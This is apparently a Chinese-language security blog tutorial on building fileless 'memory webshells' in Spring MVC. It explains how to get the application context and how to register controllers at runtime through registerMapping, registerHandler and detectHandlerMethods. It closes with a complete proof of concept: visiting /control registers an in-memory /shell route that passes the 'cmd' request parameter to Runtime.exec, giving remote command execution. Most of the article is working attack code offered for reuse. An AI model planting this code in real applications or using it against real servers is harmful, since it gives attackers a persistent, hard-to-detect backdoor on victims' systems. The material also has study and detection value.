WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext

  • WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

通过这种方法获得的也是一个 Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。

  • RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

通过 ServletRequest 类的实例来获得 Child WebApplicationContext

  • getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext。

2)动态注册Controller

RequestMappingHandlerMapping是springMVC里面的核心Bean,spring把我们的controller解析成RequestMappingInfo对象,然后再注册进RequestMappingHandlerMapping中,这样请求进来以后就可以根据请求地址调用到Controller类里面了。

  • RequestMappingHandlerMapping对象本身是spring来管理的,可以通过ApplicationContext取到,所以并不需要我们新建。
  • 在SpringMVC框架下,会有两个ApplicationContext,一个是Spring IOC的上下文,这个是在java web框架的Listener里面配置,就是我们经常用的web.xml里面的org.springframework.web.context.ContextLoaderListener,由它来完成IOC容器的初始化和bean对象的注入。
  • 另外一个是ApplicationContext是由org.springframework.web.servlet.DispatcherServlet完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping这个对象的初始化。

Spring 2.5 开始到 Spring 3.1 之前一般使用:

org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;

Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。

3)registerMapping

在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping。

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);

4)registerHandler

参考上面的 HandlerMapping 接口继承关系图,针对使用 DefaultAnnotationHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping

在其registerHandler()方法中

protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
	Assert.notNull(urlPath, "URL path must not be null");
	Assert.notNull(handler, "Handler object must not be null");
	Object resolvedHandler = handler;

	// Eagerly resolve handler if referencing singleton via name.
	if (!this.lazyInitHandlers && handler instanceof String) {
		String handlerName = (String) handler;
		ApplicationContext applicationContext = obtainApplicationContext();
		if (applicationContext.isSingleton(handlerName)) {
			resolvedHandler = applicationContext.getBean(handlerName);
		}
	}

	Object mappedHandler = this.handlerMap.get(urlPath);
	if (mappedHandler != null) {
		if (mappedHandler != resolvedHandler) {
			throw new IllegalStateException(
					"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
					"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
		}
	}
	else {
		if (urlPath.equals("/")) {
			if (logger.isTraceEnabled()) {
				logger.trace("Root mapping to " + getHandlerDescription(handler));
			}
			setRootHandler(resolvedHandler);
		}
		else if (urlPath.equals("/*")) {
			if (logger.isTraceEnabled()) {
				logger.trace("Default mapping to " + getHandlerDescription(handler));
			}
			setDefaultHandler(resolvedHandler);
		}
		else {
			this.handlerMap.put(urlPath, resolvedHandler);
			if (getPatternParser() != null) {
				this.pathPatternHandlerMap.put(getPatternParser().parse(urlPath), resolvedHandler);
			}
			if (logger.isTraceEnabled()) {
				logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
			}
		}
	}
}

该方法接受 urlPath参数和 handler参数,可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 将 url 和 controller 实例 bean 注册到 handlerMap

// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping  dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

5)detectHandlerMethods

参考上面的 HandlerMapping 接口继承关系图,针对使用 RequestMappingHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping

在其detectHandlerMethods() 方法中

protected void detectHandlerMethods(Object handler) {
    Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
    final Class<?> userType = ClassUtils.getUserClass(handlerType);
    Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
        public boolean matches(Method method) {
            return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
        }
    });
    Iterator var6 = methods.iterator();
    while(var6.hasNext()) {
        Method method = (Method)var6.next();
        T mapping = this.getMappingForMethod(method, userType);
        this.registerHandlerMethod(handler, method, mapping);
    }
}

该方法仅接受handler参数,同样可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 并注册 controller 的实例 bean

context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

6)实现恶意Controller

这里由于我们是动态注册Controller,所以我们只需要实现对应的恶意方法即可:

public class Controller_Shell{
 
        public Controller_Shell(){}
 
        public void shell() throws IOException {
 
            //获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
}

完整POC

package com.shell.controller;
 
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
 
@Controller
public class shell_controller {
 
//    @ResponseBody
    @RequestMapping("/control")
    public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
 
        //获取当前上下文环境
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 
        //手动注册Controller
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
        Method method = Controller_Shell.class.getDeclaredMethod("shell");
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        r.registerMapping(info, new Controller_Shell(), method);
 
    }
 
    public class Controller_Shell{
 
        public Controller_Shell(){}
 
        public void shell() throws IOException {
 
            //获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            Runtime.getRuntime().exec(request.getParameter("cmd"));
        }
    }
 
}

首先访问/control路由,由于Controller默认会将结果交给View处理,返回值通常会被解析成一个页面路径,所以这里会报404错误。我们可以使用@ResponeBody来将Controller的方法返回的对象,通过适当的HttpMessageConverter转换为指定格式后,写入到Response对象的body数据区。

然后访问我们定义恶意Controller的路由/shell

参考


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录